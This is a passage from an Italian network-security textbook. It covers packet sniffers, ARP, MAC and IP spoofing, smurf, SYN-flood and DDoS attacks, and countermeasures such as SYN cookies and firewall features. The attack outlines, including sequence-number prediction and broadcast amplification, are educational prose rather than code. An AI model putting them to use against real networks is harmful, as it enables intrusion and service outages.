type ether, fddi, tr, arp visualizza solo i pacchetti ARP
ip, ip6, arp, rarp,
decnet, tcp, ...
Lesempio che segue con tcpdump per Windows di mi-
croOlap, mostra sia pacchetti in transito sulla rete locale,
sia pacchetti diretti e provenienti da Internet. Questa ver-
sione di tcpdump non richiede installazione, basta esegui-
re il file .exe del programma.
tcpdump in Windows
Uno strumento concettualmente analogo a tcpdump ma
pi moderno, dotato dinterfaccia grafica e di unampia fles-
sibilit operativa, Ethereal, scaricabile da Internet per
Windows, e incluso in diverse distribuzioni Linux (ma non
sempre installato per default). Il programma disponibile
presso www.ethereal.com. Com prevedibile, per un pro-
gramma che cattura il traffico in rete, occorre avere privi-
legi di amministratore per eseguirlo.
5.7.1.7 Essere in
far funzionare un
analizzatore di rete
Tcpdump: applicazione
dellanalizzatore in
Windows
Ethereal in Windows
I criteri di selezione delle informazioni da estrarre, la gra-
fica della presentazione, e una miriade di opzioni, sono per-
sonalizzabili. Per default, la visualizzazione avviene alla fi-
ne della cattura, per non rischiare di perdere dati durante
loperazione. Sono riconosciuti oltre 700 protocolli/forma-
ti di dati, e si possono definire condizioni di filtraggio (per
estrarre solo i pacchetti che interessano) tramite espres-
sioni composte da una variet di elementi, come numeri in-
teri (con e senza segno, in vari formati) e a virgola mobile
(floating point), array di byte, numeri IP (sia IPv4 sia IPv6),
numeri di rete IPX (il protocollo delle reti Novell Netware,
molto usato negli anni 80) , stringhe di testo e condizioni
logiche. La documentazione disponibile (anche sotto for-
ma di guida online) decisamente voluminosa.
Ethereal fornisce diverse forme di visualizzazione, tra
cui i pacchetti catturati (la finestra che li visualizza pu
avere diversi formati) e decine di visualizzazioni statisti-
che, incluso il grafico di flusso di una serie di pacchetti se-
lezionati.
Grafico di flusso in Ethereal
La versione Windows e la versione Linux di Ethereal so-
no molto simili. Limmagine desempio sotto riportata
tratta da SuSE Linux 10.0.
Ehereal in Linux
Come per molti altri strumenti software destinati a dia-
gnosi e monitoraggio, un packet sniffer come Ethereal pu
essere usato per scopi utili, ma anche per scopi dannosi,
come lintercettazione della posta elettronica dei colleghi.
Lunico modo per tentare di proteggere la confidenzialit
dei dati trasmessi in rete utilizzare la crittografia.
Attacchi allo stack TCP/IP
Fra i numerosi attacchi possibili su una rete TCP/IP, al-
cuni si basano sulle caratteristiche dei protocolli finora de-
scritti, o sul modo in cui sono implementati. Ne prendiamo
in considerazione alcuni.
Spoofing
Il termine spoofing indica la generazione di traffico con
falsificazione dellindirizzo del mittente. Pu essere realiz-
zato ai vari strati della pila di protocolli, dallARP spoofing,
in cui viene falsificato il MAC address su una rete Ethernet
o wireless, fino alla falsificazione del mittente di un mes-
saggio di posta elettronica (che accade quotidianamente).
Ne vediamo le tipologie pi comuni tra le tante possibili.
ARP Spoofing/MAC Spoofing
LARP Spoofing consiste nella creazione di una falsa as-
sociazione tra il MAC address di una scheda Ethernet e un
indirizzo IP, realizzata inviando pacchetti ARP contenenti
informazioni false.
A ogni scheda Ethernet attribuito, dalla fabbrica che la
produce, un MAC address unico. Tale MAC address pu es-
sere modificato in modo da impersonare unaltra scheda
Ethernet, cos da far risultare la connessione con un altro
sistema, per fruire di particolari privilegi associati a tale
scheda. Questa pratica prende il nome di MAC spoofing.
LARP spoofing funziona solo sulla sottorete locale, per-
ch i messaggi ARP non escono da essa. Perci, lo sniffer
che attua tali manovre deve risiedere nella stessa subnet
del mittente o del destinatario.
Un altro modo in cui uno sniffer pu cercare di convin-
cere uno switch a inviargli il traffico, quello di duplicare
il MAC address del sistema preso di mira.
Sebbene il MAC address sia in teoria invariabile, perch
associato allhardware dellinterfaccia di rete, esso pu es-
sere facilmente modificato tramite il comando ifconfig, che
permette di configurare le interfacce di rete in Unix/Linux.
In Windows il MAC address pu essere modificato tramite
apposite utility (come Smac), o modificando il registro di si-
stema (sotto la chiave HKEY_LOCAL_MACHINE), o modifi-
cando la voce Indirizzo amministrato localmente nella con-
figurazione delle propriet avanzate della connessione di
rete. Naturalmente, non viene modificato il MAC address in
hardware, bens la copia gestita del sistema operativo e uti-
5.7.1.8 Essere al
corrente delle
principali tipologie di
attacco allo stack
TCP/IP: sniffing di
pacchetti, IP
spoofing, rerouting,
TCP hijacking, attacco
DOS multi-IP (DDOS,
Distributed Denial Of
Service), etc
Ethereal: grafico di flusso
in versione Linux (SuSE
Linux 10.0)
lizzata per le operazioni dalla scheda di rete al posto di
quello hardware.
IP Spoofing
La falsificazione dellindirizzo IP del mittente serve in ge-
nerale per due scopi:
- approfittare dei diritti di un altro sistema, laddove essi
siano, in qualche modo, legati allindirizzo IP;
- effettuare attacchi facendo sembrare provenienti da un al-
tro indirizzo.
Un aspetto da tenere presente nel valutare la portata
dellIP spoofing, che la maggior parte delle comunicazio-
ni prevede sia linvio, sia la ricezione di pacchetti. Se si fal-
sifica lindirizzo IP del mittente nellinviare i pacchetti, i
pacchetti di risposta saranno inviati, attraverso i normali
meccanismi di routing, al legittimo intestatario dellindi-
rizzo falsificato; questo aumenta notevolmente la com-
plessit di alcuni attacchi. Daltra parte, esistono tecniche
di blind spoofing (spoofing alla cieca), peraltro non sempre
applicabili, in cui il mittente (il cracker) prevede il conte-
nuto dei pacchetti di risposta (che non vede), e agisce di
conseguenza.
Ci sono alcuni casi di rilevo in cui lIP spoofing parti-
colarmente efficace:
- quando lattaccante si trova sul percorso tra mittente e
destinatario e vuole inserire dei propri pacchetti allin-
terno di una connessione esistente;
- quando i pacchetti di risposta non sono necessari per
completare lattacco; con certi servizi UDP, per esempio,
non occorre stabilire una connessione (con relativo dia-
logo preliminare) per inviare comandi;
- quando si desidera semplicemente generare traffico sen-
za essere rintracciati; per esempio, se si desidera impedi-
re il servizio offerto da un sito (attacco di tipo DoS, Denial
of Service) saturando la banda disponibile su una con-
nessione, luso di indirizzi falsificati permette di nascon-
dere lorigine di un attacco, rendendo pi difficile una con-
tromisura;
- quando si desidera generare rumore con pacchetti pro-
venienti da pi punti di origine, per render pi difficile il
riconoscimento, nella massa, della vera origine dellat-
tacco; strumenti di scanning come nmap utilizzano in mo-
do efficace queste possibilit.
- Quando si vogliono ingannare gli switch per vedere traffi-
co che non ci coinvolge (port stealing), magari per opera-
re attacchi del tipo man-in-the-middle (vedi pi avanti).
nmap per esplorare host e reti
Consideriamo cosa accade in un attacco di tipo IP spoo-
fing. Il cracker prima identifica il suo bersaglio; contempo-
raneamente, deve determinare lincremento usato per li-
nitial sequence number (ISN), il numero dordine iniziale dei
pacchetti TCP che serve a riconoscere i pacchetti. LISN
previsto essere pseudocasuale per ogni nuova connessio-
ne, ma molte implementazioni si sono limitate a incremen-
tare il numero di sequenza, permettendo di prevedere il
prossimo ISN e agevolando lo spoofing. In ogni caso, il tipo
di numerazione adottata pu essere determinata eseguen-
do una serie di connessioni legittime con il sito target, e no-
tando gli ISN che vengono restituiti durante lhandshaking
iniziale. In questa fase, il cracker accetta il rischio di mo-
strare il suo vero indirizzo IP.
Una volta stabilito il modo di incrementare lISN, il
cracker invia al target un pacchetto TCP SYN con lindiriz-
zo del mittente falsificato (spoofed). Il target risponde col
pacchetto TCP SYN ACK, che viene inviato allindirizzo fa-
sullo e non visto dal cracker. Il pacchetto SYN ACK con-
tiene lISN del sistema preso di mira; per stabilire una con-
nessione TCP completa, lISN deve ricevere un ACK (rico-
noscimento) basato sullISN ricevuto. Il cracker deve indo-
vinare lISN in base al tipo di incremento che ha osservato,
e invia un TCP ACK con il mittente falso e il riconoscimen-
to dellISN.
Se tutto questo avviene in modo corretto, il cracker
riesce a stabilire una connessione legittima con il sistema
bersaglio. Sar in grado di inviare comandi e informazioni
al sistema, ma non potr vedere le risposte.
Un caso interessante, ampiamente utilizzato e che esem-
plifica il problema, costituito dagli attacchi cosiddetti
smurf, che prendono il nome del programma che stato uti-
lizzato. Lo scopo dellattacco saturare la banda disponi-
bile per un certo indirizzo x.x.x.x, pur non disponendo del-
la banda necessaria.
Per realizzare questo attacco, occorre individuare una
rete che abbia a disposizione una banda maggiore di quel-
la della rete da saturare, e che abbia la caratteristica di am-
plificatore di smurf: deve accettare pacchetti ICMP Echo
Request (ping) verso il proprio indirizzo di broadcast (che
indichiamo come y.y.y.y), e includere un numero elevato di
host disposti a rispondere.
Per attuare lattacco, il cracker invia dal proprio sistema
dei pacchetti ping con mittente x.x.x.x falsificato e destina-
tario y.y.y.y. Il pacchetto instradato verso lamplificatore
di smurf, dove viene distribuito in broadcast. Ognuno dei si-
stemi che risponde invia, quindi, un pacchetto ICMP Echo
Replay allindirizzo x.x.x.x. Maggiore il numero di host che
rispondono sulla rete, maggiore il fattore di amplificazio-
ne dellattacco (da cui il nome amplificatore di smurf). In
questo modo lattaccante, inviando pochi pacchetti al-
lamplificatore, pu riuscire a inviare migliaia di pacchetti
alla vittima x.x.x.x, con leffetto di saturazione voluto.
Un altro esempio di IP spoofing prevede lattacco a un si-
stema configurato per offrire i servizi remoti di rlogin (con-
nessione come utente remoto) o rsh (remote shell uso re-
moto del sistema). In questi casi, lindirizzo IP di origine
un elemento importante nel determinare chi autorizzato
ad accedere al servizio. Gli host remoti che sono accettati
su tali connessioni sono chiamati fidati. Se un cracker rie-
sce a usare lIP spoofing per ingannare il sistema bersaglio,
facendogli credere che i messaggi vengono da un sistema
fidato, possibile che riesca a ottenere accesso e compro-
mettere il sistema.
Se il cracker trova un sistema X che ha una relazione di
fiducia con un altro sistema Y, e che si trova su una rete ac-
cessibile al cracker, allora pu usare lIP spoofing per avere
accesso al sistema X. Tuttavia, il cracker deve prima risol-
vere un problema: la vittima invier pacchetti al sistema fi-
dato in risposta ai pacchetti spoofed (con indirizzo del mit-
tente falsificato). In base alle specifiche del protocollo TCP,
il sistema fidato risponde con un pacchetto RST (reset),
perch non gli risulta che sia in atto una connessione. Il
cracker deve impedire che il sistema fidato riesca a inviare
IP Spoofing: esplorazione
di host e reti contro le
falsificazioni di IP
questo pacchetto.
Un esempio di attacco con IP spoofing
Denial of Service
Gli attacchi DoS (Denial of Service, letteralmente nega-
zione del servizio) colpiscono la disponibilit delle risorse
per gli utenti legittimi, perch causano uninterruzione del
servizio (per esempio, quello di un web server o di un mail
server). In pratica, si tratta di attacchi malevoli per negare
accesso a un sistema, rete, applicazione o informazioni agli
utenti che ne hanno diritto. Gli attacchi di questo genere
formano una categoria molto vasta, perch possono colpi-
re qualsiasi risorsa informatica. Essi possono assumere va-
rie forme, ed essere lanciati da singoli host o da una molti-
tudine di sistemi. Sulla base del fatto che le risorse infor-
matiche sono generalmente limitate, quando lattaccante
riesce a consumare unintera risorsa (pensiamo, ad esem-
pio, alla larghezza di banda di una connessione di rete),
non resta alcuna disponibilit per i legittimi utenti. Se una
risorsa condivisa tra pi utenti, uno di essi, in assenza di
limitazioni, pu consumarla tutta, impedendone lutilizzo
agli altri. E se la risorsa di pubblica disponibilit, lattac-
co pu essere praticato da chiunque.
Va premesso che gli attacchi DoS non avvengono solo
nel ciberspazio: un tronchesino rappresenta uno strumen-
to DoS facile da usare ed efficace, se lattaccante ha acces-
so fisico a una rete. Qui non ce ne occupiamo, ma occorre
tenere presente che un attacco fisico possibile, e pu ave-
re effetti devastanti.
Una protezione contro la saturazione delle risorse da
parte degli utenti che essi non possano consumare pi di
una certa quota della risorsa condivisa (ad esempio, la me-
moria di un sistema multiutente, o la banda della connes-
sione Internet aziendale). Per poter implementare un tale
meccanismo necessario, per, un processo di autentica-
zione; questo possibile allinterno di unorganizzazione,
ma non lo quando il servizio anonimo o lattacco pra-
ticabile prima dellautenticazione. In questo caso il DoS
difficile da contrastare, e le contromisure si riducono a
strumenti per individuare lattaccante e bloccarlo (se
uno), o allinterruzione o limitazione del servizio attaccato
per proteggerne altri. Una caratteristica della maggior par-
te degli attacchi DoS che, dato che lattaccante non cer-
ca di accedere al sistema bersagliato, la maggior parte de-
gli attacchi ha origine da indirizzi falsi (spoofed). Il proto-
collo IP ha una lacuna nel suo schema di indirizzamento:
non verifica lindirizzo del mittente al momento in cui il
pacchetto viene costruito. Di conseguenza, il cracker na-
sconde la propria ubicazione falsificando lindirizzo del
mittente. La maggior parte degli attacchi DoS, per essere ef-
ficace, non ha bisogno di alcun traffico di ritorno al reale in-
dirizzo del cracker.
Un firewall contribuisce a bloccare diversi
attacchi DoS
Un firewall pu contribuire a bloccare certe categorie di
attacchi DoS: ad esempio Safe@Office 400W, un firewall di
Check Point che protegge dai pacchetti anomali e consen-
te di personalizzare la banda in ingresso e in uscita secon-
do il tipo di traffico.
Nel seguito vengono descritte alcune tipologie di at-
tacchi DoS nel campo delle reti, con possibili contromi-
sure.
Numero di connessioni a un servizio
La connessione di un client a un server occupa risorse,
sia per la connessione in s, sia per le attivit che il server
deve svolgere per soddisfare le richieste del client. Per evi-
tare che il sistema venga sovraccaricato, normale che un
server limiti il numero di client che possono essere con-
nessi contemporaneamente. Per esempio, il web server
Apache, in alcune versioni di Linux, prevede come valore di
default un massimo di 150 client collegati (a meno di mo-
dificare la direttiva MaxClients nel file di configurazione
httpd); questo un modo di porre un limite a una risorsa
accessibile pubblicamente. Di conseguenza, effettuando un
gran numero di connessioni contemporanee, si occupa
questa risorsa impedendone luso agli utenti legittimi.
Va notato che lautenticazione del servizio non basta per
proteggersi da questo attacco; essa, infatti, avviene dopo la
connessione, ma allatto della connessione lattacco ha gi
avuto successo, anche se poi lautenticazione fallisce.
SYN Flooding
Come abbiamo visto sopra, una connessione TCP av-
viene in tre fasi, corrispondenti ai tre pacchetti che vengo-
no scambiati tra client e server (SYN, SYN/ACK e ACK - que-
sto dialogo iniziale chiamato 3 way handshake). Dopo la
ricezione del primo pacchetto con il flag SYN attivato, il ser-
ver deve mantenere delle informazioni di stato che gli per-
Safe@Office 400W:
firewall di Check Point
contro pacchetti anomali
DoS: gli attacchi Denial of
Service sono un esempio
di IP Spoofing
mettono di gestire correttamente il terzo pacchetto che
completa lhandshake. Un sistema gestisce un numero li-
mitato di connessioni TCP parziali (semiaperte, senza
completare lhandshake). Una volta raggiunto il limite, i ten-
tativi di aprire nuove connessioni sono rifiutati, e il relati-
vo pacchetto SYN scartato. Il SYN flooding (inondazione
di pacchetti SYN) consiste nellinviare un gran numero di
pacchetti SYN a un sistema, occupando le risorse destina-
te alle connessioni parziali, senza rispondere ai corrispon-
denti pacchetti SYN/ACK, e lasciando quindi la connessio-
ne in sospeso, impedendo al sistema di liberare le risorse.
In questo modo, il sistema attaccato raggiunge il punto in
cui non pi in grado di accettare nuove connessioni.
Lefficacia di questo attacco deriva in primo luogo da
due fattori:
- dato che lattaccante non ha bisogno di vedere i pacchet-
ti di risposta, falsifica lindirizzo IP del mittente (IP spoo-
fing); lunico requisito che lindirizzo falsificato non sia
quello di un host attivo, che risponda al pacchetto
SYN/ACK.
- Non possibile distinguere con certezza un pacchetto le-
gittimo da uno di tipo SYN flooding fino a quando non vie-
ne inviato il terzo pacchetto di handshaking (lACK dal
client al server), o finch non scade un timeout senza che
la connessione sia completata.
Occupazione della banda disponibile
Lattacco smurf descritto in precedenza usato per sa-
turare la banda disponibile per un certo indirizzo di rete. In
generale, questo attacco pu avvenire con qualsiasi tipo di
pacchetto. Un firewall tra la rete e la connessione, spesso,
non protegge da questo attacco: il firewall scarta i pac-
chetti, ma questi hanno gi ottenuto il loro scopo di con-
gestionamento. Ne scaturiscono due conseguenze:
- la difficolt di distinguere i pacchetti che fanno parte di un
attacco da quelli legittimi: per esempio, i pacchetti SYN di-
retti alla porta 80 (HTTP) di un web server possono esse-
re sia pacchetti ostili, sia reali tentativi di connessione al
sito e, a questo punto, la banda gi stata occupata;
- occorre coinvolgere il provider nella gestione dellattacco.
DDoS, Distributed Denial of Service
Un attacco DoS richiederebbe allattaccante una note-
vole quantit di risorse per saturare un grosso sito Internet,
ben al di l delle possibilit di una singola rete e della ban-
da della sua connessione a Internet. Lattacco viene, quin-
di, distribuito fra una gran quantit di sistemi che, sotto il
controllo dellattaccante, operano il loro attacco contem-
poraneamente per saturare le risorse del sistema bersaglio.
A questo scopo, la tecnica pi diffusa consiste nellattac-
care preventivamente un gran numero di sistemi, poco pro-
tetti (sistema operativo non aggiornato, carenze di firewall
e antivirus) ma ben connessi (possibilmente, con banda
larga), assumendone il controllo e installandovi degli agen-
ti software che rendono questi sistemi degli zombie agli or-
dini dellattaccante. Linsieme degli zombie controllato in
modo centralizzato dallattaccante, il cui software pu or-
dinare a tutti di attaccare contemporaneamente un singo-
lo sistema, inondandolo di pacchetti SYN spoofed diretti al-
la porta 80 del server.
Gli attacchi DDoS, di solito, sono coordinati da un sin-
golo sistema master e da un singolo cracker. Possono limi-
tarsi allinvio di un pacchetto ping allindirizzo di broadca-
st di una grande rete, con spoofing dellindirizzo del mit-
tente per indirizzare le risposte verso il bersaglio (il caso
dellattacco smurf). Ma gli attacchi DDoS sono diventati no-
tevolmente pi sofisticati rispetto a quelli smurf. Nuovi
strumenti di attacco come Trinoo, Tribal Flood Network,
Mstream e Stacheldraht permettono a un cracker di coor-
dinare gli sforzi di molti sistemi contro una sola vittima.
Questi strumenti utilizzano unarchitettura a tre livelli. Un
cracker dialoga con un processo master o server da lui in-
stallato su un sistema che ha compromesso (allinsaputa
del proprietario). Il master dialoga con i processi slave o
client che sono stati installati su un gran numero di altri si-
stemi compromessi (zombie). I sistemi slave attuano lat-
tacco contro il sistema bersaglio. I comandi al master e tra
il master e gli slave possono essere cifrati, utilizzando pac-
chetti UDP o ICMP, secondo gli strumenti usati. Lattacco
vero e proprio pu consistere di uninondazione di pac-
chetti UDP, di un SYN flood TCP, o di traffico ICMP. Alcuni
strumenti modificano in modo casuale lindirizzo spoofed
del mittente dei pacchetti ostili, rendendoli estremamente
difficili da riconoscere. Fintanto che sono disponibili mol-
ti sistemi poco protetti, come potenziali zombie, essi pos-
sono essere coordinati in un attacco contro un singolo ber-
saglio. Per quanto ampia sia la banda della connessione di
un sito a Internet, gli attacchi DDoS possono sommergerne
le capacit operative se un numero sufficiente di sistemi
slave coinvolto nellattacco.
Questo tipo di attacco crea due difficolt:
- la possibilit di rintracciare lorigine dellattacco ridot-
ta ulteriormente, dato che i pacchetti provengono da pi
fonti, rendendo pi arduo lo sforzo di risalire al mittente;
- per interrompere lattacco necessario bloccare un nu-
mero significativo di zombie, mentre lattaccante pu ag-
giungerne e toglierne dallattacco in modo dinamico.
La protezione particolarmente difficile senza accordi
di collaborazione con i provider, tuttavia sono stati fatti
passi avanti nel ridurre la vulnerabilit dei sistemi operati-
vi (in particolare di Windows) agli attacchi provenienti da
Internet. In ultima analisi, proteggere il proprio sistema per-
ch non cada sotto il controllo altrui una responsabilit
individuale (anche civile) premiata con la sicurezza collet-
tiva.
Ping of Death
I Denial of Service non si ottengono solo saturando le ri-
sorse del bersaglio, ma anche, pi semplicemente, cau-
sando malfunzionamenti. Un esempio stato il Ping of
Death. Negli anni passati molte implementazioni dello
stack TCP/IP non sono state in grado di gestire corretta-
mente pacchetti ICMP Echo Request di grandi dimensioni.
Il risultato era linvio di un pacchetto ping di dimensioni il-
legali (oltre 65.507 ottetti nel campo dati del pacchetto)
che, dopo essere stato frammentato per linvio, a destina-
zione veniva riassemblato in modo scorretto, con la possi-
bilit di causare un overflowin memoria oltre i 65.535 byte
massimi previsti per il pacchetto. I dati andavano, quindi,
a ricoprire altre informazioni (per esempio, lindirizzo di ri-
torno di una funzione) con conseguenti crash di sistema, re-
boot, kernel dump (core dump- blocco del sistema Linus), e
altri effetti indesiderati.
Pi in generale, i buffer overflow si verificano quando
unapplicazione omette di controllare che i dati copiati nel-
lo spazio di memoria riservato a una variabile non superi-
no lo spazio allocato. Una lunga serie di vulnerabilit di
questo genere stata scoperta, nel corso degli anni, nei si-
stemi operativi e nel software applicativo. Spesso, tali vul-
nerabilit sono state pubblicate e sono state sfruttate dai
cracker prima di essere corrette dai produttori.
Contromisure relative ai Denial of Service
Le strategie per affrontare un attacco DoS sono diversi-
ficate, e contribuiscono a mitigare il rischio.
Un sommario di misure preventive il seguente:
- disabilitare i servizi di rete superflui o non usati
- tenere backup regolari
- tenere e monitorare log giornalieri
- introdurre adeguate policy sulle password
- installare un Intrusion Detection System
- implementare filtri di routing per bloccare pacchetti ICMP
frammentati
- vigilare sulla sicurezza fisica delle risorse di rete
- configurare filtri per i pacchetti IP spoofed
- installare le patch e gli aggiornamenti per gli attacchi no-
ti, come il TCP SYN
- abilitare il sistema delle quote duso autorizzate (per
esempio sui dischi), se supportato dal sistema operativo
- partizionare il file system per separare dati da applicazioni
- installare strumenti come Tripwire che segnalano cam-
biamenti nei file critici (per esempio, i file di configura-
zione)
- utilizzare firewall con capacit di prevenzione contro gli
attacchi pi diffusi
- investire in macchine di riserva da mettere rapidamen-
te in servizio se una macchina simile stata messa fuori
uso
- investire in configurazioni di rete ridondanti e fault-tolerant
(resistenza ai guasti).
Alcuni approcci per difendersi contro gli attacchi DoS sono
i seguenti:
- aumentare temporaneamente le risorse disponibili, in mo-
do da assorbire lattacco:
- riconoscere almeno in parte lattacco e bloccarlo, al prez-
zo di bloccare anche parte delle attivit legittime;
- riconfigurare i sistemi in modo da rendere lattacco inef-
ficiente.
Nel seguito sono ripresi gli esempi precedenti, e vengono
esaminate alcune possibili strategie.
Numero di connessioni a un servizio
Alcune soluzioni per risolvere, almeno in parte, il pro-
blema sono le seguenti:
- limitare il numero di connessioni accettate da un singolo
indirizzo IP. Ci limita lefficacia dellattacco, anche se lat-
taccante pu utilizzare pi indirizzi IP come bersagli. In
questi contesti di attacco non frequente luso di IP spoo-
fing, quindi lattaccante deve avere a disposizione un cer-
to numero dindirizzi validi.
- Aumentare il numero di connessioni accettate al momen-
to dellattacco. Ci aumenta la quantit di risorse che lat-
taccante deve utilizzare per il suo attacco, al prezzo di un
possibile degrado delle prestazioni del sistema.
- Bloccare dinamicamente gli indirizzi IP dai quali viene por-
tato lattacco. E una delle soluzioni pi efficaci, ma ri-
chiede il monitoraggio continuo del traffico per ricono-
scere gli indirizzi coinvolti.
SYN flooding
Se il flusso di pacchetti proviene da un indirizzo IP le-
gittimo (routable), relativamente facile identificare la fon-
te e bloccare lattacco. Se, per, lindirizzo di origine un
indirizzo non routable (appartenente a uno degli intervalli
di indirizzi privati, come 192.168.x.x), molto pi difficile
individuare la fonte.
Dato che un attacco SYN flood richiede risorse limitate,
aumentare il numero di connessioni incomplete (semia-
perte) accettate dal sistema non unarma efficace. Al con-
trario, certi firewall limitano il numero di connessioni se-
miaperte che lo attraversano, rifiutando ulteriori sessioni
quando la soglia viene superata.
Una soluzione popolare ridurre il timeout per la ri-
sposta al SYN/ACK, o altri interventi analoghi, ma se lat-
tacco attuato efficacemente, il timer dovrebbe essere im-
postato a un valore talmente basso da rendere il sistema
quasi inutilizzabile. Vale ancora la considerazione che per
lattaccante non costoso aumentare la potenza di fuoco.
Questa soluzione stata, comunque, praticata per sistemi
Windows; si pu aggiungere la chiave di registro HKEY_LO-
CAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tc-
pip\Parameters\SynAttackProtect, e impostarla a 0, 1 o 2 in
base a questi criteri:
- 0 (default): protezione tipica contro attacchi SYN
- 1: protezione migliore, che utilizza altri valori descritti sot-
to
- 2 (raccomandato): la massima protezione; questo valore
aggiunge ritardi nelle indicazioni di connessione, che fan-
no s che le richieste di connessione TCP abbiano un ra-
pido timeout quando si verifica un attacco SYN.
I valori opzionali che si possono aggiungere per avere
maggiore controllo sono i seguenti, di tipo DWORD (?):
- TcpMaxHalfOpen - default "100"
- TcpMaxHalfOpenRetried - default "80"
- TcpMaxPortsExhausted - default "5"
- TcpMaxConnectResponseRetransmissions - default "3"
Tali valori non sono necessari per utilizzare SynAttack-
Protect. Le modifiche di registro sono attuabili anche at-
traverso le utility di tweaking del sistema.
Prima di ogni modifica, imperativo creare un backup dei
file di registro.
Esempio di modifiche di registro contro attacchi SYN
Alcuni firewall implementano soluzioni sofisticate per
proteggere i sistemi da questi attacchi. In generale, un fi-
rewall pu riconoscere le caratteristiche di un SYN flood dai
numerosi tentativi di connessioni identiche provenienti
dallo stesso indirizzo IP, dopo di che pu filtrare ulteriori
connessioni dallo stesso host. Se, per, gli indirizzi di ori-
gine sono casuali, non sono riconoscibili e, quindi, passa-
no indenni attraverso il filtro.
Una soluzione efficace quella di SYNDefender, una fun-
zione dei FireWall-1 di Check Point. Opera in tre possibili
modalit.
SYN Gateway agisce da intermediario tra il client e il ser-
ver. Dopo che il server invia il pacchetto SYN/ACK al client,
SYNDefender risponde al server con lACK, completando la
connessione e rimuovendola dalla coda delle connessioni
in sospeso. Parte un timer; se il client valido e risponde,
la risposta passata al server (il secondo ACK viene igno-
rato) e il timer si ferma. Se la connessione ostile e lACK
non arriva, scatta il timeout e il firewall invia un pacchetto
di reset (RST) al server, annullando la connessione. SYN Re-
lay completa i tre passaggi dellhandshake TCP prima di
passare al server la connessione (il server non vede nep-
pure lattacco). Passive SYN Gateway simile a SYN Ga-
teway, ma il firewall non risponde al server per conto del
client, lasciando che la connessione resti in sospeso; tut-
tavia, il timeout del firewall molto pi breve di quello del
server, e annulla la connessione se non viene ricevuto
lACK. Questo metodo non sovraccarica il firewall, ma
meno efficace di SYN Relay.
Lhandshake di SYN Relay in VPN-1/FireWall-1
NG di Check Point
Un altro meccanismo efficace quello dei SYN Cookies,
implementato in sistemi Linux e FreeBSD. Lo stato della
connessione semiaperta viene codificato allinterno del nu-
mero di sequenza che il server invia nel pacchetto
SYN/ACK, senza occupare risorse di sistema. Se viene ri-
cevuto un pacchetto con un ACK che non parte di una
connessione gi aperta, e che quindi pu essere il comple-
tamento di unapertura di connessione, viene esaminato il
Modifiche di registro:
esempio di di difesa da
attacchi SYN
numero di sequenza del lato server che vi contenuto: se
corrisponde alla codifica utilizzata, la connessione viene
aperta. In questo modo, il problema del SYN flooding viene
evitato, al prezzo di alcune operazioni in pi sui pacchetti
ricevuti e inviati.
Ad esempio, su certi sistemi Linux con kernel 2.4 in cui
lopzione stata abilitata, con il comando echo 1
>/proc/sys/net/ipv4/tcp_syncookies viene attivato luso dei
SYN Cookies.
Occupazione della banda disponibile
Al momento non esiste una soluzione generale per que-
sta categoria di attacchi, anche per la facilit con cui pos-
sono essere associati allIP spoofing. Per questo motivo,
essenziale il coinvolgimento preventivo del provider, per
esempio tramite contatti personali e clausole contrattuali,
in modo da garantire collaborazione in caso di attacco.
Laiuto del provider pu consistere, ad esempio, nelle se-
guenti azioni:
- aumentare temporaneamente la banda disponibile, in
modo da impedire il blocco del traffico legittimo;
- collaborare nel tentativo di risalire allorigine dellattacco,
in modo da segnalare il problema e bloccare i sistemi o le
reti coinvolti;
- ridurre la banda disponibile per i tipi di pacchetto coin-
volti nellattacco, garantendo comunque le risorse neces-
sarie per le altre tipologie di traffico; ridurre, per esempio,
la banda disponibile per i SYN destinati al servizio HTTP,
nonostante il calo di prestazioni anche per gli utenti le-
gittimi;
- verificare che i pacchetti arrivino dallinterfaccia dalla
quale ci si aspetta che provengano i pacchetti di un certo
mittente; la ricerca pu essere estesa e ripetuta per risa-
lire il flusso fino allorigine, contattando i diversi provider;
generalmente questa operazione va al di l delle possibi-
lit di un provider, e richiede la collaborazione delle forze
di polizia;
- selezionare blocchi di indirizzi IP da gestire con priorit
diversa; dato che lIP spoofing produce spesso indirizzi
dorigine casuali, questi sono distribuiti in modo unifor-
me, mentre il traffico legittimo proviene di solito da bloc-
chi di indirizzi, gestiti ad esempio da grossi provider na-
zionali; non garantito, per, che un provider sia disposto
a collaborare a una riconfigurazione tanto fine dei propri
router.
Distributed Denial of Service
Problemi e soluzioni sono quelli indicati per loccupa-
zione della banda, di cui costituiscono un caso particolar-
mente dannoso. Gli aspetti peculiari stanno nella quantit
di traffico che pu essere generato, che rende poco prati-
cabile la strada dellaumento di banda disponibile per as-
sorbire lattacco, e nella difficolt di risalire a un gran nu-
mero di sistemi attaccanti distribuiti a livello internazio-
nale.
Ping of death
Le soluzioni sono due: applicare le patch e gli aggiorna-
menti dei sistemi operativi, che correggono questa e altre
vulnerabilit, e dotarsi di un firewall con capacit di pre-
venzione degli attacchi pi comuni.
Un panorama pi vasto
Quelli sopra descritti sono alcuni degli attacchi possi-
bili. Riassumiamo le principali categorie:
- Sniffing (uso di analizzatori per intercettare il traffico di re-
te); si rimedia usando le tecniche di cifratura;
- Spoofing (falsificazione delle informazioni trasmesse): ha
diverse applicazioni, tra cui gli attacchi DoS, lo spam (po-
sta spazzatura), inviato nascondendone la provenienza, e
il session hijacking (furto o sequestro della sessione), che
configura la falsificazione dellidentit di chi lo pratica, al-
lo scopo dimpossessarsi di una sessione gi stabilita (vie-
ne usato ad arte il protocollo ARP).
- Buffer overflow: sfrutta lacune del software, tipicamente
carenze di controllo nelluso di aree di memoria, e porta
alla corruzione delle aree di memoria contigue e conse-
guenze di vario genere, incluso il crash del sistema. Il ri-
medio, man mano che i punti deboli sono scoperti e cor-
retti, applicare patch e aggiornamenti.
- Input imprevisti: anche in questo caso, carenze di con-
trollo nellinput dei dati possono causare ogni sorta di
conseguenze, specialmente allinterno di pagine web di-
namiche, che usano form e accessi a database. In vari
casi (ne vengono scoperti sempre di nuovi), input con
particolari formati permettono a un cracker di eseguire
operazioni illegali, e persino di prendere il controllo del
sistema.
- Denial of Service: ne esistono numerose varianti, come
SYN flood, smurf e system overload (sovraccarico del si-
stema, ad esempio per saturazione della CPU o della ban-
da).
- DNS spoofing: consiste nel falsificare il dialogo tra il
client e il server DNS a cui il client chiede lindirizzo IP
corrispondente al nome di un host, come web server o
mail server. Di conseguenza, il client, senza accorgerse-
ne, invia la propria posta al cracker (che la inoltra al mail
server dopo averne fatto copia), o accede a un sito che
unimitazione di quello vero (per esempio bancario), e
permette al cracker di intercettare i suoi dati personali,
password e numeri di carta di credito. Si rimedia ren-
